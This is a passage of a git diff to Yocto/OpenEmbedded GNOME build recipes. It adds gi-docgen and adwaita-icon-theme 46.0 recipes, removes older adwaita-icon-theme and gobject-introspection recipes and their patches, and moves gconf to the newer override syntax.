+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
+ GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-query-loaders \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
+ GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gi-docgen/gi-docgen_2023.3.bb b/meta/recipes-gnome/gi-docgen/gi-docgen_2023.3.bb
new file mode 100644
index 0000000000..54d7ef7513
--- /dev/null
+++ b/meta/recipes-gnome/gi-docgen/gi-docgen_2023.3.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Documentation tool for GObject-based libraries"
+DESCRIPTION = "GI-DocGen is a document generator for GObject-based libraries. GObject is \
+the base type system of the GNOME project. GI-Docgen reuses the \
+introspection data generated by GObject-based libraries to generate the API \
+reference of these libraries, as well as other ancillary documentation."
+HOMEPAGE = "https://gnome.pages.gitlab.gnome.org/gi-docgen/"
+
+LICENSE = "GPL-3.0-or-later & Apache-2.0"
+LIC_FILES_CHKSUM = "file://gi-docgen.py;beginline=1;endline=5;md5=2dc0f1f01202478cfe813c0e7f80b326"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/gi-docgen.git;protocol=https;branch=main"
+
+SRCREV = "96f2e9b93e1d8a5338eb05b87fd879856ab7b3cc"
+
+S = "${WORKDIR}/git"
+
+inherit setuptools3
+
+RDEPENDS:${PN} += "python3-asyncio python3-core python3-jinja2 python3-json python3-markdown python3-markupsafe python3-pygments python3-toml python3-typogrify python3-xml"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
deleted file mode 100644
index 5da3fbf6d8..0000000000
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 0a867caa8803a78f7cf3a204c4c358bc63daaf28 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 30 May 2017 14:55:49 +0300
-Subject: [PATCH] Don't use AC_CANONICAL_HOST
-
-This won't work when building allarch (and is only used to find out if
-target is windows).
-
-Upstream-Status: Inappropriate [embedded specific]
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
----
- configure.ac | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index e749112..58790e8 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -3,7 +3,6 @@ AC_PREREQ(2.53)
-
- AC_INIT([adwaita-icon-theme], [3.36.1],
- [http://bugzilla.gnome.org/enter_bug.cgi?product=adwaita-icon-theme])
--AC_CANONICAL_HOST
- AC_CONFIG_MACRO_DIR([m4])
- AC_CONFIG_SRCDIR([index.theme.in])
-
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
deleted file mode 100644
index c4d7e2583b..0000000000
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
+++ /dev/null
@@ -1,86 +0,0 @@
-From 8dcd73b45a660dbdc560676835ba46f495334f14 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 13 Jun 2017 18:10:06 +0300
-Subject: [PATCH] Run installation commands as shell jobs
-
-This greatly speeds up installation time on multi-core systems.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/fullcolor/Makefile.am | 3 ++-
- src/spinner/Makefile.am | 5 +++--
- src/symbolic/Makefile.am | 7 ++++---
- 3 files changed, 9 insertions(+), 6 deletions(-)
-
-diff --git a/src/fullcolor/Makefile.am b/src/fullcolor/Makefile.am
-index 1c940a5..3998ee6 100644
---- a/src/fullcolor/Makefile.am
-+++ b/src/fullcolor/Makefile.am
-@@ -9,9 +9,10 @@ install-data-local:
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/$$size && find . -name "*.png"`; do \
- context="`dirname $$file`"; \
- $(mkdir_p) $(DESTDIR)$(themedir)/$$size/$$context; \
-- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/$$size/$$file $(DESTDIR)$(themedir)/$$size/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/$$size/$$file $(DESTDIR)$(themedir)/$$size/$$file & \
- done; \
-- done;
-+ done; \
-+ wait
-
- ## FIXME we should add a way to remove links generated by icon mapping
- uninstall-local:
-diff --git a/src/spinner/Makefile.am b/src/spinner/Makefile.am
-index 86f4d7c..3fae8c1 100644
---- a/src/spinner/Makefile.am
-+++ b/src/spinner/Makefile.am
-@@ -24,13 +24,14 @@ install-data-local:
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/$$size; find . -name "*.png"`; do \
- context="`dirname $$file`"; \
- $(mkdir_p) $(DESTDIR)$(themedir)/$$size/$$context; \
-- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/$$size/$$file $(DESTDIR)$(themedir)/$$size/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/$$size/$$file $(DESTDIR)$(themedir)/$$size/$$file & \
- done; \
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32; find . -name "*.svg"`; do \
- context="`dirname $$file`"; \
- $(mkdir_p) $(DESTDIR)$(themedir)/scalable-up-to-32/$$context; \
-- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file & \
-- done
-+ done; \
-+ wait
-
- uninstall-local:
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32; find . -name "*.svg"`; do \
-diff --git a/src/symbolic/Makefile.am b/src/symbolic/Makefile.am
-index 24aac9b..61ba071 100644
---- a/src/symbolic/Makefile.am
-+++ b/src/symbolic/Makefile.am
-@@ -25,18 +25,19 @@ install-data-local:
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/$$size; find . -name "*.png"`; do \
- context="`dirname $$file`"; \
- $(mkdir_p) $(DESTDIR)$(themedir)/$$size/$$context; \
-- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/$$size/$$file $(DESTDIR)$(themedir)/$$size/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/$$size/$$file $(DESTDIR)$(themedir)/$$size/$$file & \
- done; \
-- done
-+ done; \
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable; find . -name "*.svg"`; do \
- context="`dirname $$file`"; \
- $(mkdir_p) $(DESTDIR)$(themedir)/scalable/$$context; \
-- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable/$$file $(DESTDIR)$(themedir)/scalable/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable/$$file $(DESTDIR)$(themedir)/scalable/$$file & \
- for size in $(symbolic_encode_sizes); do \
- $(mkdir_p) $(DESTDIR)$(themedir)/$$size/$$context; \
-- $(GTK_ENCODE_SYMBOLIC_SVG) $(top_srcdir)/$(SVGOUTDIR)/scalable/$$file $$size -o $(DESTDIR)$(themedir)/$$size/$$context; \
-+ $(GTK_ENCODE_SYMBOLIC_SVG) $(top_srcdir)/$(SVGOUTDIR)/scalable/$$file $$size -o $(DESTDIR)$(themedir)/$$size/$$context & \
- done \
-- done
-+ done; \
-+ wait
-
- uninstall-local:
- for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable; find . -name "*.svg"`; do \
---
-2.11.0
-
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme_3.36.1.bb b/meta/recipes-gnome/gnome/adwaita-icon-theme_3.36.1.bb
deleted file mode 100644
index 2d78bea2c8..0000000000
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme_3.36.1.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "GTK+ icon theme"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme/issues"
-SECTION = "x11/gnome"
-
-LICENSE = "LGPL-3.0 | CC-BY-SA-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c \
- file://COPYING_CCBYSA3;md5=96143d33de3a79321b1006c4e8ed07e7 \
- file://COPYING_LGPL;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-inherit allarch autotools pkgconfig gettext gtk-icon-cache upstream-version-is-even
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
- file://0001-Don-t-use-AC_CANONICAL_HOST.patch \
- file://0001-Run-installation-commands-as-shell-jobs.patch \
- "
-
-SRC_URI[md5sum] = "c61ca9d6b3ce70a9ab66dcff945923ff"
-SRC_URI[sha256sum] = "e498518627044dfd7db7d79a5b3d437848caf1991ef4ef036a2d3a2ac2c1f14d"
-
-DEPENDS += "librsvg-native"
-
-PACKAGES = "${PN}-cursors ${PN}-symbolic-hires ${PN}-symbolic ${PN}-hires ${PN}"
-
-RREPLACES_${PN} = "gnome-icon-theme"
-RCONFLICTS_${PN} = "gnome-icon-theme"
-RPROVIDES_${PN} = "gnome-icon-theme"
-
-FILES_${PN}-cursors = "${prefix}/share/icons/Adwaita/cursors/"
-FILES_${PN}-symbolic-hires = "${prefix}/share/icons/Adwaita/96x96/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/64x64/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/48x48/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/32x32/*/*.symbolic.png"
-FILES_${PN}-symbolic = "${prefix}/share/icons/Adwaita/16x16/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/24x24/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/scalable/*/*-symbolic*.svg"
-FILES_${PN}-hires = "${prefix}/share/icons/Adwaita/256x256/ \
- ${prefix}/share/icons/Adwaita/512x512/"
-FILES_${PN} = "${prefix}/share/icons/Adwaita/ \
- ${prefix}/share/pkgconfig/adwaita-icon-theme.pc"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme_46.0.bb b/meta/recipes-gnome/gnome/adwaita-icon-theme_46.0.bb
new file mode 100644
index 0000000000..2f3e4e7b85
--- /dev/null
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme_46.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "GTK+ icon theme"
+DESCRIPTION = "The Adwaita icon theme is the default icon theme of the GNOME desktop \
+This package package contains an icon theme for Gtk+ 3 applications."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme/issues"
+SECTION = "x11/gnome"
+
+LICENSE = "LGPL-3.0-only | CC-BY-SA-3.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c \
+ file://COPYING_CCBYSA3;md5=96143d33de3a79321b1006c4e8ed07e7 \
+ file://COPYING_LGPL;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+inherit gnomebase allarch gtk-icon-cache
+
+SRC_URI[archive.sha256sum] = "4bcb539bd75d64da385d6fa08cbaa9ddeaceb6ac8e82b85ba6c41117bf5ba64e"
+
+DEPENDS += "librsvg-native"
+
+PACKAGES =+ "${PN}-cursors ${PN}-symbolic"
+
+RREPLACES:${PN} = "gnome-icon-theme"
+RCONFLICTS:${PN} = "gnome-icon-theme"
+RPROVIDES:${PN} = "gnome-icon-theme"
+
+FILES:${PN}-cursors = "${datadir}/icons/Adwaita/cursors/"
+FILES:${PN}-symbolic = "${datadir}/icons/Adwaita/symbolic*/"
+FILES:${PN}-doc += "${datadir}/licenses/adwaita-icon-theme"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/gconf_3.2.6.bb b/meta/recipes-gnome/gnome/gconf_3.2.6.bb
index ff365551df..1e29bd9bb0 100644
--- a/meta/recipes-gnome/gnome/gconf_3.2.6.bb
+++ b/meta/recipes-gnome/gnome/gconf_3.2.6.bb
@@ -3,12 +3,13 @@ DESCRIPTION = "GConf is a system for storing application preferences. \
It is intended for user preferences; not configuration of something like \
Apache, or arbitrary data storage."
SECTION = "x11/gnome"
-HOMEPAGE = "https://projects.gnome.org/gconf/"
-LICENSE = "LGPLv2+"
+HOMEPAGE = "https://gitlab.gnome.org/Archive/gconf"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
-DEPENDS = "glib-2.0 dbus dbus-glib libxml2 intltool-native"
+DEPENDS = "glib-2.0 glib-2.0-native dbus dbus-glib libxml2 intltool-native"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gtk-doc gettext gobject-introspection gio-module-cache
SRC_URI = "${GNOME_MIRROR}/GConf/${@gnome_verdir("${PV}")}/GConf-${PV}.tar.xz;name=archive \
@@ -28,12 +29,12 @@ EXTRA_OECONF = "--enable-shared --disable-static \
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'polkit', d)}"
# We really don't want Polkit for native
-PACKAGECONFIG_class-native = ""
+PACKAGECONFIG:class-native = ""
PACKAGECONFIG[polkit] = "--enable-defaults-service,--disable-defaults-service,polkit"
PACKAGECONFIG[debug] = "--enable-debug=yes, --enable-debug=minimum"
-do_install_append() {
+do_install:append() {
# this directory need to be created to avoid an Error 256 at gdm launch
install -d ${D}${sysconfdir}/gconf/gconf.xml.system
@@ -42,19 +43,19 @@ do_install_append() {
rm -f ${D}${libdir}/gio/*/*.*a
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/gconftool-2 \
GCONF_BACKEND_DIR=${STAGING_LIBDIR_NATIVE}/GConf/2
}
-FILES_${PN} += "${libdir}/GConf/* \
+FILES:${PN} += "${libdir}/GConf/* \
${libdir}/gio/*/*.so \
${datadir}/polkit* \
${datadir}/dbus-1/services/*.service \
${datadir}/dbus-1/system-services/*.service \
"
-RDEPENDS_${PN} = "python3-xml"
+RDEPENDS:${PN} = "python3-xml"
-FILES_${PN}-dev += "${datadir}/sgml/gconf/gconf-1.0.dtd"
+FILES:${PN}-dev += "${datadir}/sgml/gconf/gconf-1.0.dtd"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
index 9d6f5dea3c..c9e1afffd0 100644
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
@@ -1,4 +1,4 @@
-From 8dfb44450ca9fffc15977e95eadcb7054ab60a9a Mon Sep 17 00:00:00 2001
+From aeb5532f8be42d42f4e8725ca42e239b36983a4d Mon Sep 17 00:00:00 2001
From: Sascha Silbe <x-yo17@se-silbe.de>
Date: Fri, 8 Jun 2018 13:55:10 +0200
Subject: [PATCH] Relocate the repository directory for native builds
@@ -21,7 +21,7 @@ Signed-off-by: Sascha Silbe <x-yo17@se-silbe.de>
2 files changed, 14 insertions(+), 3 deletions(-)
diff --git a/girepository/girepository.c b/girepository/girepository.c
-index b7948d6..39a2586 100644
+index a0754f4..2d456f9 100644
--- a/girepository/girepository.c
+++ b/girepository/girepository.c
@@ -21,6 +21,8 @@
@@ -62,10 +62,10 @@ index b7948d6..39a2586 100644
typelib_search_path = g_slist_prepend (typelib_search_path, typelib_dir);
diff --git a/girepository/meson.build b/girepository/meson.build
-index 204659f..3e61d31 100644
+index 786749a..15cf2a9 100644
--- a/girepository/meson.build
+++ b/girepository/meson.build
-@@ -44,7 +44,7 @@ girepo_internals_lib = static_library('girepository-internals',
+@@ -45,7 +45,7 @@ girepo_internals_lib = static_library('girepository-internals',
],
c_args: gi_hidden_visibility_cflags + custom_c_args,
include_directories : configinc,
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-gir-add-a-dependency-for-g-ir-compiler-for-building-.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-gir-add-a-dependency-for-g-ir-compiler-for-building-.patch
deleted file mode 100644
index fc37a5bb96..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-gir-add-a-dependency-for-g-ir-compiler-for-building-.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 56ba5656258b82dbc069ab3a61e597c931a16a83 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 17 Jun 2020 11:43:16 +0200
-Subject: [PATCH] gir: add a dependency for g-ir-compiler for building .girs
-
-meson inserts the dependency if the compiler is used directly, but
-fails to do so if the compiler is run through a wrapper. This leads
-to build race errors between building the compiler and using it.
-
-Fix provided by Quentin Schulz <quentin.schulz@streamunlimited.com>
-
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/gobject-introspection/-/merge_requests/228]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- gir/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gir/meson.build b/gir/meson.build
-index b37fdb81..557e5517 100644
---- a/gir/meson.build
-+++ b/gir/meson.build
-@@ -448,7 +448,7 @@ foreach gir : gir_files
- typelibs += custom_target('generate-typelib-@0@'.format(gir).underscorify(),
- input: gir,
- output: '@BASENAME@.typelib',
-- depends: [gobject_gir, ],
-+ depends: [gobject_gir, gircompiler, ],
- command: gircompiler_command,
- install: true,
- install_dir: typelibdir,
---
-2.27.0
-
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch
deleted file mode 100644
index b484b5e9e6..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f742da8b3913f4818d3f419117076afe62f4dbf4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 5 Sep 2018 16:46:52 +0200
-Subject: [PATCH] giscanner: ignore error return codes from ldd-wrapper
-
-prelink-rtld, which we use instead of ldd returns 127 when it can't find a library.
-It is not an error per se, but it breaks subprocess.check_output().
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- giscanner/shlibs.py | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/giscanner/shlibs.py b/giscanner/shlibs.py
-index d67df95..80352a6 100644
---- a/giscanner/shlibs.py
-+++ b/giscanner/shlibs.py
-@@ -102,7 +102,7 @@ def _resolve_non_libtool(options, binary, libraries):
- args.extend(['otool', '-L', binary.args[0]])
- else:
- args.extend(['ldd', binary.args[0]])
-- output = subprocess.check_output(args)
-+ output = subprocess.run(args, check=False, stdout=subprocess.PIPE).stdout
- if isinstance(output, bytes):
- output = output.decode("utf-8", "replace")
-
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.64.1.bb b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.64.1.bb
deleted file mode 100644
index 7eefdd3e27..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.64.1.bb
+++ /dev/null
@@ -1,203 +0,0 @@
-SUMMARY = "Middleware layer between GObject-using C libraries and language bindings"
-DESCRIPTION = "GObject Introspection is a project for providing machine \
-readable introspection data of the API of C libraries. This introspection \
-data can be used in several different use cases, for example automatic code \
-generation for bindings, API verification and documentation generation."
-HOMEPAGE = "https://wiki.gnome.org/action/show/Projects/GObjectIntrospection"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gobject-introspection/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2+ & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c434e8128a68bedd59b80b2ac1eb1c4a \
- file://tools/compiler.c;endline=20;md5=fc5007fc20022720e6c0b0cdde41fabd \
- file://giscanner/sourcescanner.c;endline=22;md5=194d6e0c1d00662f32d030ce44de8d39 \
- file://girepository/giregisteredtypeinfo.c;endline=21;md5=661847611ae6979465415f31a759ba27 \
- "
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${@oe.utils.trim_version("${PV}", 2)}/${BPN}-${PV}.tar.xz \
- file://0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch \
- file://0001-gir-add-a-dependency-for-g-ir-compiler-for-building-.patch \
- "
-
-SRC_URI[md5sum] = "3419dfd086efcf83768e0579ab6abd2b"
-SRC_URI[sha256sum] = "80beae6728c134521926affff9b2e97125749b38d38744dc901f4010ee3e7fa7"
-
-SRC_URI_append_class-native = " file://0001-Relocate-the-repository-directory-for-native-builds.patch"
-
-inherit meson pkgconfig gtk-doc python3native qemu gobject-introspection-data upstream-version-is-even multilib_script
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/g-ir-annotation-tool ${PN}:${bindir}/g-ir-scanner"
-
-DEPENDS_append = " libffi zlib glib-2.0 python3 flex-native bison-native autoconf-archive"
-
-# target build needs qemu to run temporary introspection binaries created
-# on the fly by g-ir-scanner and a native version of itself to run
-# native versions of its own tools during build.
-# Also prelink-rtld is used to find out library dependencies of introspection binaries
-# (standard ldd doesn't work when cross-compiling).
-DEPENDS_class-target_append = " gobject-introspection-native qemu-native prelink-native"
-
-# needed for writing out the qemu wrapper script
-export STAGING_DIR_HOST
-export B
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[doctool] = "-Ddoctool=enabled,-Ddoctool=disabled,python3-mako,"
-
-# Configure target build to use native tools of itself and to use a qemu wrapper
-# and optionally to generate introspection data
-EXTRA_OEMESON_class-target = " \
- -Dgi_cross_use_host_gi=true \
- -Dgi_cross_binary_wrapper=${B}/g-ir-scanner-qemuwrapper \
- -Dgi_cross_ldd_wrapper=${B}/g-ir-scanner-lddwrapper \
- -Dgi_cross_pkgconfig_sysroot_path=${PKG_CONFIG_SYSROOT_DIR} \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dbuild_introspection_data=true', '-Dbuild_introspection_data=false', d)} \
- ${@'-Dgir_dir_prefix=${libdir}' if d.getVar('MULTILIBS') else ''} \
-"
-
-# Need to ensure ld.so.conf exists so prelink-native works
-# both before we build and if we install from sstate
-do_configure[prefuncs] += "gobject_introspection_preconfigure"
-python gobject_introspection_preconfigure () {
- oe.utils.write_ld_so_conf(d)
-}
-
-do_configure_prepend_class-native() {
- # Tweak the native python scripts so that they don't refer to the
- # full path of native python binary (the solution is taken from glib-2.0 recipe)
- # This removes the risk of exceeding Linux kernel's shebang line limit (128 bytes)
- sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
-}
-
-do_configure_prepend_class-target() {
- # Write out a qemu wrapper that will be given to gi-scanner so that it
- # can run target helper binaries through that.
- qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','.libs','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
- cat > ${B}/g-ir-scanner-qemuwrapper << EOF
-#!/bin/sh
-# Use a modules directory which doesn't exist so we don't load random things
-# which may then get deleted (or their dependencies) and potentially segfault
-export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
-
-$qemu_binary "\$@"
-if [ \$? -ne 0 ]; then
- echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
- echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
- exit 1
-fi
-EOF
- chmod +x ${B}/g-ir-scanner-qemuwrapper
-
- # Write out a wrapper for g-ir-scanner itself, which will be used when building introspection files
- # for glib-based packages. This wrapper calls the native version of the scanner, and tells it to use
- # a qemu wrapper for running transient target binaries produced by the scanner, and an include directory
- # from the target sysroot.
- cat > ${B}/g-ir-scanner-wrapper << EOF
-#!/bin/sh
-# This prevents g-ir-scanner from writing cache data to $HOME
-export GI_SCANNER_DISABLE_CACHE=1
-
-g-ir-scanner --lib-dirs-envvar=GIR_EXTRA_LIBS_PATH --use-binary-wrapper=${STAGING_BINDIR}/g-ir-scanner-qemuwrapper --use-ldd-wrapper=${STAGING_BINDIR}/g-ir-scanner-lddwrapper --add-include-path=${STAGING_DATADIR}/gir-1.0 --add-include-path=${STAGING_LIBDIR}/gir-1.0 "\$@"
-EOF
- chmod +x ${B}/g-ir-scanner-wrapper
-
- # Write out a wrapper for g-ir-compiler, which runs the target version of it through qemu.
- # g-ir-compiler writes out the raw content of a C struct to disk, and therefore is architecture dependent.
- cat > ${B}/g-ir-compiler-wrapper << EOF
-#!/bin/sh
-${STAGING_BINDIR}/g-ir-scanner-qemuwrapper ${STAGING_BINDIR}/g-ir-compiler "\$@"
-EOF
- chmod +x ${B}/g-ir-compiler-wrapper
-
- # Write out a wrapper to use instead of ldd, which does not work when a binary is built
- # for a different architecture
- cat > ${B}/g-ir-scanner-lddwrapper << EOF
-#!/bin/sh
-prelink-rtld --root=$STAGING_DIR_HOST "\$@"
-EOF
- chmod +x ${B}/g-ir-scanner-lddwrapper
-
- # Also tweak the target python scripts so that they don't refer to the
- # native version of python binary (the solution is taken from glib-2.0 recipe)
- sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
-}
-
-do_compile_prepend() {
- # This prevents g-ir-scanner from writing cache data to $HOME
- export GI_SCANNER_DISABLE_CACHE=1
-
- # Needed to run g-ir unit tests, which won't be able to find the built libraries otherwise
- export GIR_EXTRA_LIBS_PATH=$B/.libs
-}
-
-# Our wrappers need to be available system-wide, because they will be used
-# to build introspection files for all other gobject-based packages
-do_install_append_class-target() {
- install -d ${D}${bindir}/
- install ${B}/g-ir-scanner-qemuwrapper ${D}${bindir}/
- install ${B}/g-ir-scanner-wrapper ${D}${bindir}/
- install ${B}/g-ir-compiler-wrapper ${D}${bindir}/
- install ${B}/g-ir-scanner-lddwrapper ${D}${bindir}/
-}
-
-# we need target versions of introspection tools in sysroot so that they can be run via qemu
-# when building introspection files in other packages
-SYSROOT_DIRS_append_class-target = " ${bindir}"
-
-SYSROOT_PREPROCESS_FUNCS_append_class-target = " gi_binaries_sysroot_preprocess"
-gi_binaries_sysroot_preprocess() {
- # Tweak the binary names in the introspection pkgconfig file, so that it
- # picks up our wrappers which do the cross-compile and qemu magic.
- sed -i \
- -e "s|g_ir_scanner=.*|g_ir_scanner=${bindir}/g-ir-scanner-wrapper|" \
- -e "s|g_ir_compiler=.*|g_ir_compiler=${bindir}/g-ir-compiler-wrapper|" \
- ${SYSROOT_DESTDIR}${libdir}/pkgconfig/gobject-introspection-1.0.pc
-}
-
-SYSROOT_PREPROCESS_FUNCS_append = " gi_ldsoconf_sysroot_preprocess"
-gi_ldsoconf_sysroot_preprocess () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- dest=${SYSROOT_DESTDIR}${bindir}/postinst-ldsoconf-${PN}
- echo "#!/bin/sh" > $dest
- echo "mkdir -p ${STAGING_DIR_TARGET}${sysconfdir}" >> $dest
- echo "echo ${base_libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
- echo "echo ${libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
- chmod 755 $dest
-}
-
-# Remove wrapper files from the package, only used for cross-compiling
-PACKAGE_PREPROCESS_FUNCS += "gi_package_preprocess"
-gi_package_preprocess() {
- rm -f ${PKGD}${bindir}/g-ir-scanner-qemuwrapper
- rm -f ${PKGD}${bindir}/g-ir-scanner-wrapper
- rm -f ${PKGD}${bindir}/g-ir-compiler-wrapper
